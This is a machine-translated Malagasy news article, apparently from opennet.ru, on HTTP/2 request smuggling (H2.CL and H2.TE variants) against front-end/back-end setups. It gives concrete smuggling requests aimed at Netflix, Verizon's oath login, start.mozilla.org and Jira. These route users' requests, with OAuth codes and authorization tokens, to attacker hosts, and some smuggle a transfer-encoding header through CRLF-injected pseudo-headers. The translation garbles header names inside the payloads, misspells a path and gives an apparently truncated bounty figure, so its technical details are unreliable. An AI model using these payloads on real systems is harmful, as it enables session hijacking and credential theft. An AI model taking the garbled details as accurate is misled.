Fanafihana vaovao amin'ny rafitra front-end-backend izay ahafahanao miditra amin'ny fangatahana

Ny rafitra web izay ahafahan'ny frontend manaiky fifandraisana amin'ny HTTP/2 ary mampita any aoriana amin'ny alΓ lan'ny HTTP/1.1 dia hita amin'ny endrika vaovao amin'ny fanafihana HTTP Request Smuggling, izay mamela, amin'ny alΓ lan'ny fandefasana fangatahana mpanjifa novolavolaina manokana, hiditra amin'ny atiny. ny fangatahana avy amin'ny mpampiasa hafa nokarakaraina tamin'ny zotra mitovy eo anelanelan'ny frontend sy backend. Ny fanafihana dia azo ampiasaina hampidirana kaody JavaScript maloto ao anaty fivoriana misy tranokala ara-dalΓ na, mandingana ny rafitra fanaraha-maso ny fidirana, ary manakana ny mari-pamantarana fanamarinana.

Ny olana dia misy fiantraikany amin'ny proxies amin'ny tranonkala, ny fampifandanjana entana, ny accelerators amin'ny tranonkala, ny rafitra fanaterana votoaty ary ny fanitsiana hafa izay afindran'ny fangatahana araka ny rafitra front-end-backend. Ny mpanoratra ny fanadihadiana dia naneho ny fahafahana manafika ireo rafitra ao amin'ny Netflix, Verizon, Bitbucket, Netlify CDN ary Atlassian, ary nahazo $56 amin'ny programa fanomezana vulnerability. Ny olana dia voamarina ihany koa amin'ny vokatra F5 Networks. Ny ampahany amin'ilay olana dia misy fiantraikany amin'ny mod_proxy ao amin'ny server Apache http (CVE-2021-33193), ny fanamboarana dia andrasana amin'ny version 2.4.49 (nampandrenesina ny olana tamin'ny fiandohan'ny volana Mey ny mpamorona ary nahazo 3 volana hanamboarana azy). Ao amin'ny nginx, voasakana tamin'ny famoahana farany (1.21.1) ny fahafahana mamaritra ny lohatenin'ny "Content-Length" sy ny "Transfer-Encoding" miaraka amin'ny fotoana iray. Ny fitaovana fanafihana dia efa nampidirina tao amin'ny kitapo Burp ary azo alaina amin'ny fanitarana Turbo Intruder.

Ny fitsipiky ny fampandehanana ny fomba vaovao amin'ny fangatahana wedging amin'ny fifamoivoizana dia mitovy amin'ny vulnerability hitan'ny mpikaroka iray ihany, roa taona lasa izay, fa voafetra ho an'ny frontends izay manaiky ny fangatahana amin'ny HTTP/1.1. Tsarovy fa ao amin'ny rafitra frontend-backend, ny fangatahan'ny mpanjifa dia raisina amin'ny node fanampiny - ny frontend, izay mametraka fifandraisana TCP maharitra amin'ny backend izay manodina mivantana ny fangatahana. Amin'ny alΓ lan'ity fifandraisana mahazatra ity, matetika no ampitaina ny fangatahana avy amin'ny mpampiasa samihafa, izay manaraka ny rojo, misaraka amin'ny alΓ lan'ny protocol HTTP.

Ny fanafihana mahazatra "HTTP Request Smuggling" dia mifototra amin'ny hoe ny frontends sy backends dia mandika ny fampiasana ny lohatenin'ny HTTP "Content-Length" (mamaritra ny totalin'ny angona ao amin'ny fangatahana) sy ny "Transfer-Encoding: chunked" ( mamela ny famindrana angona amin'ny ampahany) amin'ny fomba hafa . Ohatra, raha tsy manohana afa-tsy "Hala votoaty" ny frontend fa tsy miraharaha ny "Fandraketana-Encoding: chunked", dia afaka mandefa fangatahana ny mpanafika iray izay samy misy ny lohatenin'ny "Hala votoaty" sy ny "Fandefasana-Encoding: chunked", fa ny habe dia "Hava-votoaty" dia tsy mifanaraka amin'ny haben'ny rojo vy. Amin'ity tranga ity, ny frontend dia handamina sy hamindra ny fangatahana araka ny "Content-Length", ary ny backend dia hiandry ny sakana ho vita mifototra amin'ny "Transfer-Encoding: chunked" ary ny rambony sisa amin'ny fangatahan'ny mpanafika dia ho. teo am-piandohan'ny fangatahana vahiny nampitaina manaraka.

Tsy sahala amin'ny protocole text HTTP/1.1, izay voasokajy amin'ny haavon'ny tsipika, ny HTTP/2 dia protocole mimari-droa ary manodinkodina ireo sakana data amin'ny habe efa voafaritra. Na izany aza, ny HTTP/2 dia mampiasa pseudo-header izay mifanaraka amin'ny lohatenin'ny HTTP mahazatra. Rehefa mifandray amin'ny backend amin'ny alΓ lan'ny HTTP/1.1, ny frontend dia mandika ireo pseudo-headers ireo ho lohatenin'ny HTTP/1.1 HTTP mitovy. Ny olana dia ny backend dia mandray fanapahan-kevitra momba ny fanaparitahana ny stream mifototra amin'ny lohatenin'ny HTTP napetraky ny frontend, tsy mahafantatra ny mason'ny fangatahana tany am-boalohany.

Ao anatin'izany amin'ny endrika pseudo-headers dia azo ampitaina ny soatoavina "halavan'ny votoaty" sy ny "fifandraisana-encoding", na dia tsy ampiasaina amin'ny HTTP / 2 aza izy ireo, satria ny haben'ny angon-drakitra rehetra dia voafaritra amin'ny saha mitokana. Na izany aza, ao anatin'ny dingan'ny famadihana ny fangatahana HTTP/2 ho HTTP/1.1, ireo lohapejy ireo dia entina ary afaka mampisafotofoto ny backend. Misy safidy fanafihana roa lehibe: H2.TE sy H2.CL, izay voafitaka ny backend amin'ny alΓ lan'ny famandrihana diso na sandan'ny halavan'ny votoaty izay tsy mifanaraka amin'ny haben'ny vatana fangatahana voarain'ny frontend amin'ny alΓ lan'ny HTTP/2 protocole.

Fanafihana vaovao amin'ny rafitra front-end-backend izay ahafahanao miditra amin'ny fangatahana

Ohatra amin'ny fanafihana H2.CL, ny pseudo-header lava votoaty dia diso endrika rehefa mandefa fangatahana HTTP/2 amin'ny Netflix. Ity fangatahana ity dia miteraka fanampim-panazavana HTTP mitovy amin'ny Content-Length rehefa miditra amin'ny backend amin'ny alΓ lan'ny HTTP/1.1, fa satria ny haben'ny Content-Length dia kely noho ny tena habeny, ny sasany amin'ireo angona ao amin'ny rambony dia voahodina ho fiandohana. ny fangatahana manaraka.

Ohatra, fangatahana HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Handefa fangatahana any amin'ny backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Koa satria napetraka amin'ny 4 ny halavan'ny atiny, dia ny "abcd" ihany no eken'ny backend ho vatana fangatahana, ary ny sisa amin'ny "GET / n HTTP / 1.1..." ho fiandohan'ny fangatahana manaraka mifamatotra amin'ny mpampiasa hafa. Noho izany, ny stream dia tsy mifanaraka, ary ho setrin'ny fangatahana manaraka dia hiverina ny vokatry ny fanodinana ny fangatahana sandoka. Raha ny Netflix, ny fanondroana mpampiantrano antoko fahatelo ao amin'ny lohatenin'ny "Host:" amin'ny fangatahana hosoka dia niteraka valiny hoe "Toerana: https://02.rs?x.netflix.com/n" ho an'ny mpanjifa ary navela hampita amin'ny mpanjifa ny votoaty tsy misy dikany, ao anatin'izany ny fanatanterahana ny code JavaScript-nao ao anatin'ny tontolon'ny tranokala Netflix.

Ny karazany faharoa amin'ny fanafihana (H2.TE) dia mifandray amin'ny fanoloana ny lohapejy "Transfer-encoding: chunked". Ny fampiasana ny pseudo-header amin'ny fifindrana amin'ny HTTP/2 dia voararan'ny fepetra ary ny fangatahana miaraka aminy dia voatondro ho raisina ho diso. Na eo aza izany dia tsy miraharaha an'io fepetra io ny fampiharana sasany amin'ny frontend ary mamela ny fampiasana ny lohatenin'ny pseudo-encoding amin'ny HTTP/2, izay adika amin'ny lohatenin'ny HTTP mitovy. Raha misy ny lohatenin'ny "Transfer-encoding", dia azon'ny backend atao ho laharam-pahamehana izany ary manara-maso ny angon-drakitra amin'ny ampahany amin'ny maodely "tapaka" amin'ny fampiasana sakana misy habe samihafa amin'ny endrika "{size}\r\n{block} \r\n{habe} \r\n{block}\r\n0" na dia eo aza ny fizarana voalohany amin'ny haben'ny ankapobeny.

Ny fisian'ny banga toy izany dia nasehon'ny ohatry ny Verizon. Na izany aza, ny olana dia mahakasika ny vavahadin-tserasera sy ny rafitra fitantanana votoaty, izay ampiasain'ny tranokala toy ny Huffington Post sy Engadget ihany koa. Ohatra, fangatahana mpanjifa amin'ny HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Niteraka fangatahana HTTP/1.1 hiverina: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=

Ny backend kosa dia tsy niraharaha ny lohatenin'ny "Content-Length" ary nanao fizarana an-stream mifototra amin'ny "Transfer-Encoding: chunked". Amin'ny fampiharana, ny fanafihana dia nahafahana namerina ny fangatahan'ny mpampiasa mankany amin'ny tranokalanao, anisan'izany ny fisakanana ny fangatahana mifandraika amin'ny fanamarinana OAuth, ny masontsivana izay niseho tao amin'ny lohatenin'ny Referer, ary koa ny fanaovana simulation ny fivoriana fanamarinana sy ny fandefasana ny fahazoan-dΓ lana ho an'ny mpampiasa. mpampiantrano mpanafika. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Fanomezana alalana: EyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Mba hanafika ny fampiharana HTTP/2 izay tsy mamela ny fanondroana ny pseudo-header amin'ny famindrana, dia misy fomba hafa natolotra izay ahitana ny fanoloana ny lohapejy "Transfer-Encoding" amin'ny alΓ lan'ny fametahana azy amin'ny lohapejy pseudo hafa misaraka amin'ny endri-tsoratra vaovao (rehefa niova fo. mankany amin'ny HTTP/1.1 amin'ity tranga ity, misy lohapejy HTTP roa misaraka).

Ohatra, Atlassian Jira sy Netlify CDN (ampiasaina hanompoana ny pejy fanombohana Mozilla ao amin'ny Firefox) no tratran'ity olana ity. Raha ny tena manokana, ny fangatahana HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=

nahatonga fangatahana HTTP/1.1 POST / HTTP/1.1 nalefa tany amin'ny backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-encoding: chunked\r\n Content- Halavany: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \ r\nx=

Safidy iray hafa hanoloana ny lohapejy "Transfer-encoding" dia ny mametaka azy amin'ny anaran'ny pseudo-header hafa na amin'ny tady misy fomba fangatahana. Ohatra, rehefa miditra amin'ny Atlassian Jira, ny anaran'ny pseudo-header "foo: bar\r\ntransfer-encoding" miaraka amin'ny sanda "chunked" dia nahatonga ny fampidirana ny HTTP headers "foo: bar" sy "transfer-encoding". : chunked", ary nadika ho "GET / HTTP/1.1\r\ntransfer-encoding: chunked" ao amin'ny pseudo-header ": methode" ny sanda "GET / HTTP/1.1\r\n" .

Ny mpikaroka izay namaritra ny olana ihany koa dia nanolotra teknika fanelanelanana fangatahana hanafika ny frontend, izay misy fifandraisana misaraka amin'ny backend napetraka ho an'ny adiresy IP tsirairay ary tsy mifangaro ny fifamoivoizan'ny mpampiasa samihafa. Ny teknika natolotra dia tsy mamela anao hiditra an-tsehatra amin'ny fangatahan'ny mpampiasa hafa, fa ahafahana manapoizina ny cache iombonana, izay misy fiantraikany amin'ny fanodinana ny fangatahana hafa, ary mamela anao hanao fanoloana ny lohatenin'ny HTTP anatiny ampiasaina amin'ny famindrana fampahalalana momba ny serivisy ny frontend mankany amin'ny backend (ohatra, rehefa manamarina amin'ny lafiny frontend amin'ny lohapejy toy izany dia afaka mandefa vaovao momba ny mpampiasa ankehitriny any amin'ny backend). Ho ohatra amin'ny fampiharana ny fomba fanao, amin'ny fampiasana fanapoizinana cache, dia azo natao ny nifehy ny pejy tao amin'ny serivisy Bitbucket.

Source: opennet.ru

Add a comment